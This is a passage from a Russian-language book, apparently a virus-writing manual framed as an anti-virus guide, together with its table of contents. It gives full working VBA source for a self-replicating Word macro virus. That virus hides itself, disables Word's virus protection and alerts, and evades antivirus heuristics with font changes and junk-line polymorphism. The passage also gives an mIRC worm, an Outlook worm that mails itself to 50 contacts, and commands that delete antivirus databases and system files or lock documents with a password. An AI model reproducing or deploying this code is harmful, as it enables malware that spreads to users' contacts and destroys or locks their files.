Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfМАКРО вирусы |
341 |
|
|
кнопка «Break». После этого пользователь, заподозривший наличие макровируса, если попробует посмотреть на макросы в Word'e, ничего не увидит, что и требовалось. Теперь практическая часть. К нашему вирусу достаточно добавить следующие строки:
'----------------------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Отключить показ редактора VB
Application.EnableCancelKey = 0 |
'Отключить клавишу Break |
End Sub |
|
'---------------------------------------------- |
|
Sub ViewVBCode() |
|
Stealth |
|
End Sub |
|
'---------------------------------------------- |
|
Sub ToolsMacro() |
|
Stealth |
|
End Sub |
|
'---------------------------------------------- |
|
Sub FileTemplates() |
|
Stealth |
|
End Sub |
|
'---------------------------------------------- |
|
После этого можно считать, что мы использовали стелс-технологию для перехвата трех макросов: ViewVBCode(), ToolsMacro(), FileTemplates().
Также имеет смысл отключение тревоги и сообщений о вирусах. Зачем пугать пользователей?
'----------------------------------------------
Application.DisplayAlerts = 0 'Отключить тревогу Options.VirusProtection = False 'Отключить сообщения о вирусах '----------------------------------------------
Теперь перейдем к антиэвристике. Основным антиэвристическим приемом в макровирусах является смена шрифта, также можно использовать другие антиэвристические приемы, которые находятся довольно простым способом — методом научного тыка.
Итак, смена шрифта:
'----------------------------------------------
Selection.Font.Name = "Arial" '----------------------------------------------
После этого AVP и Dr.Web у меня перестали опознавать даже известные им вирусы, которые до этого успешно обнаруживали.
И последняя технология — это, как обычно, полиморфизм или же «мутационная» технология. Смысл полиморфной технологии применительно к макровирусам идентичен полиморфизму для обычных вирусов. Существует два пути мутациий. Первый, и самый расспространенный — это шифрование кода макроса. Второй — разбавление кода макроса мусорными командами. Возможно комбинирование этих двух способов. Рассмотрим более конкретно второй способ.
342 |
МАКРО вирусы |
|
|
Данный генератор полиморфного кода предназначен для разбавления реальных инструкций мусором.
Рассмотрим саму функцию:
'---------------------------------------------- |
|
|
Private Function |
poly() As String |
|
Dim mas(20) |
|
|
mas(1) = "'rghuyhewh" |
' |
|
mas(2) = "'[+]-31337-[+]" |
' |
|
mas(3) = "'heh-polymorf-engine-sl0n-(c)" |
' Это мусорные |
|
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" |
' строки, которыми мы |
|
mas(5) = "':for bc=1 to 987: next bc" |
' будем разбавлять основной |
|
mas(6) = "'436ghdfjhdfjddfh" |
' êîä |
|
oncemore: |
|
|
a = Rnd(4) |
' |
|
a = a * 10 |
' Это генератор случайных чисел |
|
a = Int(a) |
' В итоге данная функция возвращает |
|
If a > 6 Then GoTo oncemore |
' случайную строку из массива mas |
|
poly = mas(a) |
' |
|
End Function '----------------------------------------------
Теперь рассмотрим вирус, который сочетает в себе все три технологии, то есть он будет использовать как стелс технологию так и полиморфную технологию плюс пару антиэвристических инструкций.
Вот листинг:
'----------------------------------------------
Private Function poly() As String
Dim mas(20) |
|
|
|
mas(1) = "'rghuyhewh" |
|
' |
|
mas(2) = "'[+]-31337-[+]" |
' |
|
|
mas(3) = "'heh-polymorf-engine-sl0n-(c)" |
' |
Это мусорные |
|
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" |
' |
строки которыми мы |
|
mas(5) = "':for bc=1 to 987: next bc" |
' |
будем разбавлять основной |
|
mas(6) = "'436ghdfjhdfjddfh" |
' |
êîä |
|
oncemore: |
|
|
|
a = Rnd(4) |
|
' |
|
a = a * 10 |
|
' Это генератор случайных чисел |
|
a = Int(a) |
|
' В итоге данная функция возвращает |
|
If a > 6 Then GoTo oncemore |
' |
случайную строку из массива mas |
|
poly = mas(a) |
|
' |
|
End Function |
|
|
|
'---------------------------------------------- |
|
|
|
Sub Document_Close() |
|
|
|
'Application.UserName = "sl0n" |
|
|
|
' h0b0t Word 97/2000 macr0 virus |
|
|
|
Application.DisplayAlerts = 0 |
'Отключить тревогу |
|
|
Options.VirusProtection = False 'Отключить сообщения |
о вирусах |
||
fonta = Selection.Font.Name |
' |
|
|
Selection.Font.Name = "Arial" ' Антиэвристика |
|
|
|
МАКРО вирусы |
343 |
|
|
Selection.Font.Name = fonta |
' |
If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.lines(1, 1) = "" Then 'Если документ не заражен, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 29 Then
t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a + poly
End If End If
i = i + 1 Loop
quit1:
Close #1
End If
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражен, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 29 Then
|
t.CodeModule.InsertLines i, "sub AutoClose()" |
Else: |
t.CodeModule.InsertLines i, a + poly |
End If |
|
End If |
|
i = i + 1 |
|
Loop |
|
quit: |
|
Close #1 Application.UserName = "[h0b0t]" MsgBox "normal.dot 0wn3d"
End If
End Sub '----------------------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB
Application.EnableCancelKey = 0 |
'Отключить клавишу Break |
End Sub |
|
344 |
МАКРО вирусы |
|
|
'---------------------------------------------- |
|
Sub ViewVBCode() |
|
Stealth |
|
End Sub |
|
'---------------------------------------------- |
|
Sub ToolsMacro() |
|
Stealth |
|
End Sub |
|
'---------------------------------------------- |
|
Sub FileTemplates() |
|
Stealth |
|
End Sub |
|
'---------------------------------------------- |
|
Вообще, в качестве примера была рассмотрена наиболее примитивная технология, но на самом-то деле большинство разработчиков вирусов используют более сложные. Данный пример, по сути, работал бы гораздо эффективнее, если бы эти мусорные строки вставлялись и между инструкций. Также не мешало бы генерировать мусорные строки «на лету».
В данном вирусе были применены все три описанные выше технологии, что позволяет надеяться на его неплохую живучесть.
Можно было бы использовать и ретро-технологию — в макровирусах она используется вообще элементарно:
'----------------------------------------------
kill "C:\Program Files\Common Files\AVP Shared Files\AVPBASES\kernel.avc" '----------------------------------------------
Обьяснять и комментировать нечего, традиционно убивается файл с базами для AVP.
Глава 3 Распространение через Интернет
Основными возможностями распространения макровирусов через Интернет стали почтовые рассылки и распространение при помощи клиента IRC — программу mIRC. Все, наверное, помнят, какую волну в 2000 году подняли два макровируса, распространяющиеся через e-mail. Это были вирусы Melissa и ILoveYou. Если Melissa просто беспредельно размножался, то ILoveYou еще и уничтожал множество файлов пользователей.
Рассмотрим пример mIRC червя на VBA:
'----------------------------------------------
' Simple mIRC w0rm by sl0n
Private Sub Document_Close() |
' |
На закрытии документа |
|
On Error GoTo exit1 |
' |
Обрабатываем ошибки |
|
path1 = "c:\mirc\" |
|
' |
|
Open path1 + "script.ini" For Output As #1 |
' Открываем файл настроек для записи |
||
Print #1, "[script]" |
|
|
' Записываем mIRC |
МАКРО вирусы |
|
345 |
|
|
|
Print #1, "n0=on 1:join:#: { if ( $nick == $me ) halt" |
' скрипт, |
|
Print #1, "n1= |
else /dcc send $nick " + path1 + "c00l.doc}"' который будет |
|
Close #1 |
' рассылать всем на канале инфицированный |
|
|
' документ. После закрываем script.ini |
|
ActiveDocument.Save |
' Сохраняем наш документ |
|
ActiveDocument.SaveAs path1 + "c00l.doc" ' Также сохраняем его в папке mIRC |
||
ActiveDocument.Close |
' Затем закрываем его |
|
exit1: |
' Выход |
|
End Sub |
|
|
'---------------------------------------------- |
|
|
Данный тривиальный mIRC червь перезаписывает файл настроек script.ini, и, когда человек с измененным файлом настроек находится в сети, он рассылает всем зараженные документы.
Теперь перейдем к возможности распространения макровирусов через электронную почту. Основная идея распространения через e-mail заключается в том, что в почтовом клиенте Windows — Outlook Express содержится множество ошибок, и через него размножается 90% все почтовых макрочервей.
Теперь рассмотрим пример почтового червя:
'----------------------------------------------
' Simple e-mail w0rm by sl0n Private Sub Document_Close()
On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Dim OutlookObject, OutMail, Index |
' Создаем ссылку на |
|||
Set OutlookObject = CreateObject("Outlook.Application") |
' Outlook Express |
|||
For Index = 1 To 50 |
|
' Отсылаем 50 писем |
||
Set OutMail = OutlookObject.CreateItem(0) |
' Создаем новое письмо |
|||
OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) |
||||
|
|
' Кому - адрес из адресной книги |
||
OutMail.Subject = "My favourite game..." |
' Тема письма |
|||
OutMail.Body = "Dear friend.... |
" |
' Текст письма |
||
OutMail.Attachments.Add (ActiveDocument.Fullname) |
' Прикрепленный файл - наш документ |
|||
OutMail.Send |
|
' Отсылаем |
|
|
Next |
|
' все письма |
|
|
End Sub '----------------------------------------------
В данном почтовом черве рассылаются 50 писем всем, кто находится в адресной книге Outlook Express. В качестве приложения к письму отправляется наш макровирус.
Вот мы и рассмотрели создание mIRC и почтовых червей. Они получили такое распространение из-за того, что глобальная сеть Интернет переживает сей- час колоссальный рост.
Необходимо вовремя обновлять программное обеспечение, и антивирусные базы, и тогда Интернет-черви вам будут не страшны.
346 |
МАКРО вирусы |
|
|
|
|
|
|
Ï ð è ê ë à ä í û å ô ó í ê ö è è â è ð ó ñ î â
Глава 4 Деструктивные способности вирусов
Основным и самым распространенным проявлением деструктивных функций в макровирусах является все тот же оператор kill "имя_файла". Как известно, данный оператор стирает файлы.
'----------------------------------------------
kill "c:\command.com" '----------------------------------------------
Стираем «command.com»
Другим распространенным деструктивным проявлением макровирусов является установка пароля на активный документ. Естественно, что пользователь данного пароля знать не будет, и из-за этого будет очень сильно страдать.
'----------------------------------------------
ActiveDocument.Password = "lam3r!" '----------------------------------------------
Устанавливаем пароль на активный документ.
Существуют различные попытки форматирования жесткого диска, но это всего лишь временная возможность, так как реально отформатировать винче- стер Windows не даст, а форматирование через autoexec.bat работает только в старых системах, потому как новые его не используют.
Глава 5 Графические и музыкальные эффекты
в вирусах
Самым распространенным проявлением как в Windows вирусах, так и в макровирусах является MessageBox. MessageBox — это обычное окошко с сообщением для пользователя, например таким:
'----------------------------------------------
MsgBox "Dis is supa Macro Vir by sl0n" '----------------------------------------------
Другим, не менее распространенным проявлением, является смена имени окна. Это уже несколько больше пугает пользователя, так как он не знает, что случилось.
'----------------------------------------------
Application.Caption="Macro P0wer !!!"
'----------------------------------------------
МАКРО вирусы |
347 |
|
|
В совокупности с описанными выше проявлениями используется и такое проявление, как смена имени автора документа:
'----------------------------------------------
Application.Username="sl0n" '----------------------------------------------
Одним из самых красивых проявлений является запуск какой-нибудь веб-страницы. Можно запускать свою домашнюю страницу или страницу како- го-нибудь интернет-портала.
'----------------------------------------------
Shell "start http://www.sl0n.h1.ru" '----------------------------------------------
Существует множество различных проявлений, позволяющих спрятать курсор, заморозить его или заставить двигаться произвольно независимо от действий пользователя.
Заключение
В конце хочется отметить, что в этой книге были рассмотрены самые распространенные вирусные технологии. Для чего это было сделано? Книга была написана для того, чтобы раскрыть внутренний мир компьютерных вирусов. Еще Сунь Цзы писал, что если знаешь возможности противника и свои возможности, то сражайся хоть сто раз — опасности не будет. В нашем случае в роли противника выступили компьютерные вирусы, и хочется верить, что теперь чи- татель знает врага в лицо.
Содержание
Введение . . . |
. . . . . . . . . . . |
. |
. . . . . |
. |
. . . |
. |
3 |
DOS ВИРУСЫ |
. . . . . . . . . . . |
. |
. . . . . |
. |
. . . |
. |
5 |
Методы размножения вирусов . . . . . . . . . . . . . . . . . . . 5
Глава 1. |
Простейшие overwriter вирусы |
. . . . . . . . . . . . . 5 |
|
Глава 2. |
Простейшие companion-вирусы . . . . . . . . . . . . . 11 |
||
Глава 3. |
Простейшие parasitic-вирусы . . . . . . . . . . . . . . 19 |
||
3.1. Простейшие *.COM вирусы . . |
. |
. . . . . . . . . . . . 36 |
|
3.2. Простейшие *.EXE вирусы . . |
. |
. . . . . . . . . . . . 40 |
|
3.3.Простейшие *.COM + *.EXE вирусы . . . . . . . . . . . 48
3.4.Простейшие *.BAT . . . . . . . . . . . . . . . . . . . 53
Функции маскировки и ускорения эпидемии . . . . . . . . . . . . 55 Глава 4. Резидентность . . . . . . . . . . . . . . . . . . . . 55 Глава 5. Вирусные технологии . . . . . . . . . . . . . . . . . 63
5.1.Ускорение эпидемии и простейшая маскировка . . . . . . 64
5.2.Усиление кода . . . . . . . . . . . . . . . . . . . . . 70
5.3.Стелс механизмы . . . . . . . . . . . . . . . . . . . . 74
5.4.Антиэвристические приемы . . . . . . . . . . . . . . . 86
5.5.Динамическое шифрование . . . . . . . . . . . . . . . 89
5.6. Полиморфизм |
. . . . . . . . . . . . . . . . . . . |
. |
. 93 |
5.7. Вампиризм . . |
. . . . . . . . . . . . . . . . . . . |
. |
122 |
5.8. Ретро . . . . |
. . . . . . . . . . . . . . . . . . . |
. |
126 |
5.9. Неизлечимость |
. . . . . . . . . . . . . . . . . . . |
. |
127 |
Прикладные функции вирусов . . . . . . . . . . . . . . . . . . 132
Глава 6. |
Деструктивные способности вирусов . . . . . . . . |
. |
132 |
Глава 7. |
Графические и музыкальные эффекты в вирусах . . . |
. |
138 |
WINDOWS ВИРУСЫ . . . . . . . . |
|
. . . . . . . . . . 153 |
||||
Методы размножения вирусов . . . . . . |
. . . . . . . . . . . . 153 |
|||||
Глава 1. |
Простейшие overwriter вирусы |
. |
. . . . . |
. . . . . |
. |
153 |
Глава 2. |
Простейшие companion вирусы |
. |
. . . . . |
. . . . . |
. |
160 |
350 |
|
|
Содержание |
|
|
|
|
Глава 3. |
Простейшие parasitic вирусы . |
. . . . . . . . . . . . 169 |
|
3.1. Простейшие *.EXE вирусы . . . . . . . . . . . . . . . 185 |
|||
Функции маскировки и ускорения эпидемии |
. . . . . . . . . . . 209 |
||
Глава 4. |
Резидентность . . . . . . . . . . . . . . . . . . . . 209 |
||
Глава 5. |
Вирусные технологии . . . . |
. . . . . . . . . . . . 214 |
|
5.1. Ускорение эпидемии и простейшая маскировка |
. . . . . 214 |
||
5.2. Усиление кода . . . . . . . . |
. . . . . . . . . . . . 221 |
||
5.3. Стелс-механизмы . . . . . . . |
. . . . . . . . . . . . 225 |
||
5.4. Антиэвристические приемы . . |
. . . . . . . . . . . . 233 |
||
5.5. Динамическое шифрование . . |
. . . . . . . |
. . . . . 234 |
|
5.6.Полиморфизм . . . . . . . . . . . . . . . . . . . . . 242
5.7.Вампиризм . . . . . . . . . . . . . . . . . . . . . . 281
5.8. Ретро . . . . . . . . . . . . |
. |
. . . . . . . . . . . 283 |
|||||||
5.9. Неизлечимость . . . . . . . . |
. |
. . |
. |
. . . . |
. |
. |
. |
. |
285 |
5.10. Распространение через Интернет |
|
. . |
. |
. . . . |
. |
. |
. |
. |
306 |
Прикладные функции вирусов . . . . . . . . . . . . . . . . . . 331
Глава 6. |
Деструктивные способности вирусов . . . . . |
. |
. |
. |
. |
331 |
Глава 7. |
Графические и музыкальные эффекты в вирусах |
. |
. |
. |
. |
334 |
МАКРО вирусы . . . . . . . . . . . . . . . . . . . . . 337
Методы размножения вирусов . . . . . . . . . . . . . . . . . . 337
Глава 1. |
Простейшие *.DOC вирусы (trivial Macro) . |
. . . . . . 337 |
|
Функции маскировки и ускорения эпидемии . . . . . |
. . . . . . 340 |
||
Глава 2. |
Вирусные технологии . . . . . . . . . . |
. . . . . . |
340 |
Глава 3. |
Распространение через Интернет . . . . . |
. . . . . . |
344 |
Прикладные функции вирусов . . . . . . . . . . . . . . . . . . 346
Глава 4. |
Деструктивные способности вирусов . . . . . |
. . . . 346 |
Глава 5. |
Графические и музыкальные эффекты в вирусах |
. . . . 346 |
Заключение . . . . . . . . . . . . . . . . . . . |
. . . 348 |
|
